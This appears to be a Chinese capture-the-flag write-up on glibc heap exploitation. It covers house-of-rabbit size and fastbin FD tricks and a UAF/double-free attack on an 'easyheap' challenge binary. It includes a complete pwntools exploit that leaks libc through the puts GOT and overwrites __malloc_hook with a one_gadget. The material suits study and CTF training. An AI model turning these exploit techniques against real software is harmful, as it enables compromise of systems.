一、原理介绍:
1、修改size:
1 2 3 4 5 6 7 8 9 10 11 12 #include "stdio.h" #include "string.h" int main () {unsigned long * chunk1=malloc (0x40 ); unsigned long * chunk2=malloc (0x40 ); malloc (0x10 );free (chunk1);free (chunk2);chunk1[-1 ]=0xa1 ; malloc (0x1000 );}
2、修改FD指针:
1 2 3 4 5 6 7 8 9 10 11 12 13 #include "stdio.h" #include "string.h" int main () {unsigned long * chunk1=malloc (0x40 ); unsigned long * chunk2=malloc (0x100 );chunk2[1 ]=0x31 ; chunk2[7 ]=0x21 ; chunk2[11 ]=0x21 ; free (chunk1);chunk1[0 ]=0x602060 ; malloc (5000 );}
通过malloc(size),这个size大于前面的chunk块,就会触发malloc_consolidate,把fastbin中的堆块按照大小放到small bin中整合,也会在fd和bk指针留下我们的地址,再次申请即可打印地址,这种利用方式在fastbin中应该不错,具体做题目再说吧,总之很容易可以构造出overlap chunk!实现,free装态的chunk的修改
拿一道题看看,虽然不全是house of rabbit,但是有用到这个思想。
2、realloc
这题比较巧妙,结合的知识点还是不错的,下面来看看:
熟悉的菜单题,free函数有UAF漏洞,这里show函数被限制了,只有变量为0xDEADBEEFDEADBEEF才能输出,但是输入的name和info刚好在0x602090的上面和下面,很自然想到house of spirit去伪造堆块再申请出来,修改变量即可,但是由于没有堆地址覆盖,所以正常free掉这个fake_chunk是无法实现的,但是可以利用UAF漏洞,如果能实现double free的话,就可以写入FD指针,从而申请出来。
malloc的功能,能申请的堆块在fastbin以内(0x80),正常的输入content
这是666时,这里使用第4次时,会提示付出代价,但是跳过再次使用666,就可以无限次使用了,calloc的功能,申请0xA0的堆块,正常读入content,free有UAF漏洞。
好了,到这里程序就分析完了,接着就是漏洞利用思路:
1、double free的实现:
1 2 3 4 5 6 7 8 9 magic(2 ,'kkkk' ) magic(1 ,'aaaaaaaa' ) malloc(0x40 ,'ffff' ) magic(2 ,'gggg' ) malloc(0x60 ,'hhhh' ) malloc(0x60 ,'oooo' ) free() magic(2 ,'gggg' ) free()
解释下,先申请0xA0的堆块,后面0x40格挡,再free掉0xA0,malloc切割出0x60,这时,由于UAF,虽然ptr处的指针还是0xA0的堆块指针,但是size变成了0x60,我们再次malloc时,得到的是新的堆块,指针放到buf中,这样buf和ptr中都有0x60的堆块指针,121实现doublefree。
2、将fake_chunk写入FD,申请出来再改写变量,这里同时可以往0x602060的FD写入0x602060,伪造double free,这样就可以再次使用这个堆块了(类似ubuntu18下的tcache的dbfree)。
3、show出puts的got,得到真实地址,接着再申请得到0x602060,改写FD得到malloc_hook-0x23处的fake_chunk,申请出来改写malloc_hook为onegadget
4、由于show后关闭了输出,onegadget一直打不通,realloc调整偏移也是不行,这里师兄提示说dbfree触发malloc_printer,会调用malloc触发malloc_hook,于是才打通了
上exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 from pwn import *context.log_level = 'debug' context(arch='amd64' , os='linux' ) local = 1 elf = ELF('./easyheap' ) if local: p = process('./easyheap' ) libc = elf.libc else : p = remote('192.168.100.20' ,50001 ) libc = ELF('./libc-2.18.so' ) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(p.pid)).readlines()[1 ], 16 ) gdb.attach(p,'b *{}' .format(hex(text_base+addr))) else : gdb.attach(p,"b *{}" .format(hex(addr))) def bk (addr) : gdb.attach(p,"b *" +str(hex(addr))) def malloc (size,content) : ru(">> " ) sl('1' ) ru("input the size" ) sl(str(size)) ru("please input your content" ) sd(content) def free () : ru(">> " ) sl('2' ) def show () : ru(">> " ) sl('3' ) def magic (choice,content) : ru(">> " ) sl('666' ) if choice==1 : ru("build or free?" ) sl(str(choice)) ru("please input your content" ) sd(content) else : ru("build or free?" ) sl(str(choice)) def malloc1 (size,content) : sl('1' ) sl(str(size)) sd(content) def free1 () : sl('2' ) def magic_calloc (content) : sl('666' ) sl('1' ) sl(content) def magic_free () : sl('666' ) sl('2' ) puts_got = elf.got["puts" ] ru("please input your username:" ) sl(p64(0 ) + p64(0x71 ) + p64(0x602060 )) ru("please input your info:" ) sl(p64(0 ) + p64(0x41 )) fake_chunk = 0x602060 magic(2 ,'kkkk' ) magic(2 ,'kkkk' ) magic(2 ,'kkkk' ) ru(">> " ) sl('666' ) magic(2 ,'kkkk' ) magic(1 ,'aaaaaaaa' ) malloc(0x40 ,'ffff' ) magic(2 ,'gggg' ) malloc(0x60 ,'hhhh' ) malloc(0x60 ,'oooo' ) free() magic(2 ,'gggg' ) free() malloc(0x60 ,p64(fake_chunk)) malloc(0x60 ,p64(fake_chunk)) malloc(0x60 ,p64(fake_chunk)) py = '' py += p64(0x602060 )*3 + p64(puts_got) + p64(0xDEADBEEFDEADBEEF ) malloc(0x60 ,py) show() libc_base = u64(rc(6 ).ljust(8 ,'\x00' )) - libc.sym["puts" ] print "libc_base--->" + hex(libc_base)onegadget = libc_base + 0xf1147 chunk = libc_base + libc.sym["__malloc_hook" ] - 0x23 realloc = libc_base + libc.sym["realloc" ] bk(0x000000000400AA2 ) ru("everything has a price" ) malloc1(0x60 ,p64(chunk)) malloc1(0x60 ,p64(chunk)) py = '' py += 'A' *11 + p64(onegadget) + p64(realloc+0x14 ) malloc1(0x60 ,py) sl('2' ) sl('2' ) p.interactive()
这题可以暂时看成修改fd指针,指向我们的fake_chunk,然后实现把它free掉或者说申请出来。